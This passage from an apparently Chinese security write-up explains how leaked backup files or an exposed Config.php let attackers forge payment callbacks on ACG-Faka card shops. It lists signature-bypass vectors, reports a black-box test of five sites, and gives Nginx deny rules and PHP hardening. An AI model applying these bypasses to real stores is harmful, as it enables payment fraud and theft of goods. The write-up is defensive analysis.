&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-nginx" data-lang="nginx"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;location&lt;/span&gt; &lt;span class="p"&gt;~&lt;/span&gt;&lt;span class="sr"&gt;*&lt;/span&gt; &lt;span class="s"&gt;^/user/api/order/callback\.&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kn"&gt;allow&lt;/span&gt; &lt;span class="n"&gt;1.2.3.4&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;# 支付网关服务器 IP
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kn"&gt;deny&lt;/span&gt; &lt;span class="s"&gt;all&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;即使签名验证被绕过，IP 白名单也能兜底。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="四完整攻击链"&gt;四、完整攻击链
&lt;/h2&gt;&lt;p&gt;两条密钥泄露路径最终汇聚到同一个攻击终点：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ┌─────────────────────────┐ ┌─────────────────────────────┐
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │ 路径 A: 备份文件扫描 │ │ 路径 B: Config.php 直读 │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │ GET /backup.zip │ │ GET /app/Pay/BEpusdt/ │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │ GET /www.zip │ │ Config/Config.php │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │ GET /db_2026.sql │ │ (Nginx 未路由到 PHP-FPM) │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │ → 下载整站+数据库 │ │ → PHP 源码明文返回 │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; └────────────┬────────────┘ └──────────────┬──────────────┘
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │ │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │ ┌────────────────────┐ │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; └────►│ API Token 泄露 ★ │◄────┘
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; └─────────┬──────────┘
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ┌───────────────▼───────────────┐
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │ Step 1: 路径探测 │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │ GET /user/api/order/callback. │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │ → 确认 BEpusdt Handle 存在 │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; └───────────────┬───────────────┘
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ┌───────────────▼───────────────┐
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │ Step 2: 伪造合法回调 │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │ 用窃取的 Token 计算 MD5 签名 │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │ POST callback.BEpusdt │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │ → &amp;#34;success&amp;#34; (33B) ★ │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; └───────────────┬───────────────┘
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ┌───────────────▼───────────────┐
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │ Step 3: 批量收割 │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │ 自动化创建订单 → 伪造回调 │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │ → 查询卡密 → 每 6 秒一单 │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; └───────────────────────────────┘
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;整个过程不需要任何漏洞利用工具，只需要 &lt;code&gt;curl&lt;/code&gt; 和 &lt;code&gt;md5sum&lt;/code&gt;。路径 A 甚至不需要走回调——数据库备份里直接就有卡密。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="五五站实测审计"&gt;五、五站实测审计
&lt;/h2&gt;&lt;p&gt;拿到攻击手法后，我用同一套方法对五个同类站点进行了黑盒审计。测试矩阵包含 13+ 种攻击向量，每次攻击后通过 API 验证订单状态是否变化。&lt;/p&gt;
&lt;h3 id="51-攻击向量"&gt;5.1 攻击向量
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;#&lt;/th&gt;
 &lt;th&gt;向量&lt;/th&gt;
 &lt;th&gt;目标&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;A1&lt;/td&gt;
 &lt;td&gt;全零签名 / 随机签名&lt;/td&gt;
 &lt;td&gt;基础验签能力&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;A2&lt;/td&gt;
 &lt;td&gt;空签名 / 缺失签名字段&lt;/td&gt;
 &lt;td&gt;空值绕过&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;A3&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;signature=0&lt;/code&gt; (int)&lt;/td&gt;
 &lt;td&gt;PHP &lt;code&gt;==&lt;/code&gt; 弱类型：&lt;code&gt;0 == &amp;quot;string&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;A4&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;signature=false&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;PHP &lt;code&gt;==&lt;/code&gt; 弱类型：&lt;code&gt;false == &amp;quot;&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;A5&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;signature=[]&lt;/code&gt; (数组)&lt;/td&gt;
 &lt;td&gt;PHP 数组比较行为异常&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;A6&lt;/td&gt;
 &lt;td&gt;空密钥 MD5 签名&lt;/td&gt;
 &lt;td&gt;Token 为空时可伪造&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;A7&lt;/td&gt;
 &lt;td&gt;空密钥 HMAC-SHA256&lt;/td&gt;
 &lt;td&gt;同上，适配 Epusdt 插件&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;A8&lt;/td&gt;
 &lt;td&gt;金额篡改 (0.01)&lt;/td&gt;
 &lt;td&gt;金额绑定验证&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;A9&lt;/td&gt;
 &lt;td&gt;非成功 status 值&lt;/td&gt;
 &lt;td&gt;状态字段校验&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;A10&lt;/td&gt;
 &lt;td&gt;form-urlencoded 格式&lt;/td&gt;
 &lt;td&gt;Content-Type 混淆&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;A11&lt;/td&gt;
 &lt;td&gt;路径穿越 Handle&lt;/td&gt;
 &lt;td&gt;插件路由安全&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="52-审计结果"&gt;5.2 审计结果
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;站点&lt;/th&gt;
 &lt;th&gt;框架&lt;/th&gt;
 &lt;th&gt;回调安全&lt;/th&gt;
 &lt;th&gt;状态验证&lt;/th&gt;
 &lt;th&gt;源码泄露&lt;/th&gt;
 &lt;th&gt;CF 防护&lt;/th&gt;
 &lt;th&gt;综合&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;站点 A&lt;/td&gt;
 &lt;td&gt;ACG-Faka&lt;/td&gt;
 &lt;td&gt;✅ 34/34 SAFE&lt;/td&gt;
 &lt;td&gt;有 API&lt;/td&gt;
 &lt;td&gt;路径泄露&lt;/td&gt;
 &lt;td&gt;无&lt;/td&gt;
 &lt;td&gt;⚠️ 中&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;站点 B&lt;/td&gt;
 &lt;td&gt;ACG-Faka&lt;/td&gt;
 &lt;td&gt;✅ 全部 SAFE&lt;/td&gt;
 &lt;td&gt;有 API&lt;/td&gt;
 &lt;td&gt;路径泄露&lt;/td&gt;
 &lt;td&gt;无&lt;/td&gt;
 &lt;td&gt;⚠️ 中&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;站点 C&lt;/td&gt;
 &lt;td&gt;Next.js/Vercel&lt;/td&gt;
 &lt;td&gt;N/A&lt;/td&gt;
 &lt;td&gt;需认证&lt;/td&gt;
 &lt;td&gt;无&lt;/td&gt;
 &lt;td&gt;全站&lt;/td&gt;
 &lt;td&gt;✅ 低&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;站点 D&lt;/td&gt;
 &lt;td&gt;ACG-Faka&lt;/td&gt;
 &lt;td&gt;✅ 全部 SAFE&lt;/td&gt;
 &lt;td&gt;无 (404)&lt;/td&gt;
 &lt;td&gt;路径+composer&lt;/td&gt;
 &lt;td&gt;无&lt;/td&gt;
 &lt;td&gt;⚠️ 中&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;站点 E&lt;/td&gt;
 &lt;td&gt;ACG-Faka&lt;/td&gt;
 &lt;td&gt;✅ 64/64 SAFE&lt;/td&gt;
 &lt;td&gt;有 API&lt;/td&gt;
 &lt;td&gt;路径+composer&lt;/td&gt;
 &lt;td&gt;无&lt;/td&gt;
 &lt;td&gt;⚠️ 中&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;关键发现：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;回调签名验证全部正常&lt;/strong&gt;——五个站都没有被伪造回调突破&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;但四个 ACG-Faka 站都有源码路径泄露&lt;/strong&gt;——攻击者可以看到 Fatal Error 中暴露的物理路径&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Config.php 虽然返回 200 空&lt;/strong&gt;（PHP 正确执行了），但路径可达本身就是隐患&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;唯一一个 Next.js + Vercel 站&lt;/strong&gt;完全不受此类攻击影响——非 PHP 框架，无弱类型问题，Vercel 不暴露源码&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="53-为什么这五个站没被攻破"&gt;5.3 为什么这五个站没被攻破
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;没有备份文件暴露&lt;/strong&gt;——五个站的 Web 根目录下没有扫到可下载的 &lt;code&gt;.zip&lt;/code&gt; / &lt;code&gt;.sql&lt;/code&gt; / &lt;code&gt;.bak&lt;/code&gt; 文件&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Config.php 正确走了 PHP-FPM 路由&lt;/strong&gt;——返回 200 空响应，Token 没有泄露&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;但隐患仍在：四个 ACG-Faka 站的 &lt;code&gt;/app/&lt;/code&gt; 路径仍然可达，只是 PHP-FPM 兜住了。如果未来某次运维操作改错了 PHP-FPM 配置，或者站长在根目录放了一次备份文件，攻击者立刻就能得手。这是一颗定时炸弹。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="六防御方案"&gt;六、防御方案
&lt;/h2&gt;&lt;h3 id="61-p0-紧急修复立即执行"&gt;6.1 P0 紧急修复（立即执行）
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;清理并封锁备份文件&lt;/strong&gt;——这是最紧急的一步：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 1. 立即删除 Web 根目录下的所有备份文件&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;find /www/wwwroot/faka/ -maxdepth &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="se"&gt;\(&lt;/span&gt; -name &lt;span class="s2"&gt;&amp;#34;*.zip&amp;#34;&lt;/span&gt; -o -name &lt;span class="s2"&gt;&amp;#34;*.tar.gz&amp;#34;&lt;/span&gt; -o -name &lt;span class="s2"&gt;&amp;#34;*.rar&amp;#34;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -o -name &lt;span class="s2"&gt;&amp;#34;*.sql&amp;#34;&lt;/span&gt; -o -name &lt;span class="s2"&gt;&amp;#34;*.bak&amp;#34;&lt;/span&gt; -o -name &lt;span class="s2"&gt;&amp;#34;*.7z&amp;#34;&lt;/span&gt; &lt;span class="se"&gt;\)&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -exec rm -f &lt;span class="o"&gt;{}&lt;/span&gt; &lt;span class="se"&gt;\;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 2. 在 Nginx 中彻底封锁备份文件下载&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-nginx" data-lang="nginx"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 封锁所有备份/归档文件类型
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;location&lt;/span&gt; &lt;span class="p"&gt;~&lt;/span&gt;&lt;span class="sr"&gt;*&lt;/span&gt; &lt;span class="s"&gt;\.(zip|tar\.gz|rar|sql|bak|7z|gz|tgz)&lt;/span&gt;$ &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kn"&gt;deny&lt;/span&gt; &lt;span class="s"&gt;all&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kn"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;403&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Nginx 封锁源码目录&lt;/strong&gt;——阻断 Config.php 泄露路径：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-nginx" data-lang="nginx"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 阻止所有对 PHP 源码、配置、运行时文件的直接访问
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;location&lt;/span&gt; &lt;span class="p"&gt;~&lt;/span&gt;&lt;span class="sr"&gt;*&lt;/span&gt; &lt;span class="s"&gt;^/(app|config|runtime|vendor)/&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kn"&gt;deny&lt;/span&gt; &lt;span class="s"&gt;all&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kn"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;403&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 阻止敏感文件
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;location&lt;/span&gt; &lt;span class="p"&gt;~&lt;/span&gt;&lt;span class="sr"&gt;*&lt;/span&gt; &lt;span class="s"&gt;(composer\.(json|lock)|\.env|\.git)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kn"&gt;deny&lt;/span&gt; &lt;span class="s"&gt;all&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kn"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;403&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;更换所有凭据&lt;/strong&gt;——如果曾经在 Web 目录放过备份文件，&lt;strong&gt;必须假设已泄露&lt;/strong&gt;，一律重置：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;API Token（支付密钥）&lt;/li&gt;
&lt;li&gt;数据库密码&lt;/li&gt;
&lt;li&gt;货源接口密钥&lt;/li&gt;
&lt;li&gt;后台管理员密码&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;升级签名验证&lt;/strong&gt;——确认 Signature.php 使用 &lt;code&gt;hash_equals()&lt;/code&gt; + &lt;code&gt;is_string()&lt;/code&gt; 类型检查：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;safetyEquals&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;mixed&lt;/span&gt; &lt;span class="nv"&gt;$str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;string&lt;/span&gt; &lt;span class="nv"&gt;$local&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;bool&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;is_string&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nv"&gt;$str&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;hash_equals&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$local&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$str&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="62-p1-加固措施"&gt;6.2 P1 加固措施
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;回调端点 IP 白名单&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-nginx" data-lang="nginx"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;location&lt;/span&gt; &lt;span class="p"&gt;~&lt;/span&gt;&lt;span class="sr"&gt;*&lt;/span&gt; &lt;span class="s"&gt;^/user/api/order/callback\.&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kn"&gt;allow&lt;/span&gt; &lt;span class="s"&gt;支付网关IP&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kn"&gt;deny&lt;/span&gt; &lt;span class="s"&gt;all&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;签名算法升级&lt;/strong&gt;——从 MD5 升级到 HMAC-SHA256：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// MD5 拼接（BEpusdt 默认）→ 容易被长度扩展攻击
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$sign&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;md5&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$sorted_string&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$token&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// HMAC-SHA256（推荐）→ 密钥参与哈希内部运算，无法伪造
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$sign&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;hash_hmac&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;sha256&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$sorted_string&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$token&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="63-p2-监控告警"&gt;6.3 P2 监控告警
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;回调端点频率限制（单 IP 每分钟 ≤ 10 次）&lt;/li&gt;
&lt;li&gt;异常响应监控：连续出现 33 字节（success）响应时触发告警&lt;/li&gt;
&lt;li&gt;回调日志独立记录：IP、签名、时间、订单号，便于事后追溯&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="64-架构层面"&gt;6.4 架构层面
&lt;/h3&gt;&lt;p&gt;如果条件允许，考虑迁移到非 PHP 框架（如 Next.js + Vercel），从根本上消除 PHP 弱类型比较和源码泄露的风险。审计中唯一零风险的站点正是这种架构。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="七总结"&gt;七、总结
&lt;/h2&gt;&lt;p&gt;这次攻击的本质不是密码学层面的签名绕过，而是&lt;strong&gt;运维层面的密钥泄露&lt;/strong&gt;。攻击者有两条路可走：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;路径 A: Web 根目录残留备份文件（.zip / .sql）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; → 攻击者下载备份 → 解压得到全部凭据（甚至直接拿到卡密）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;路径 B: Nginx 配置错误，Config.php 当静态文件返回
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; → 攻击者读取 PHP 源码 → 得到 API Token
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;两条路殊途同归：
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; → 用 Token 计算合法 MD5 签名
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; → 伪造回调通知
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; → 系统认为已付款
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; → 卡密被释放
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;官方通告指向路径 A，日志分析发现路径 B。多个受害站点同时存在两个问题。&lt;/p&gt;
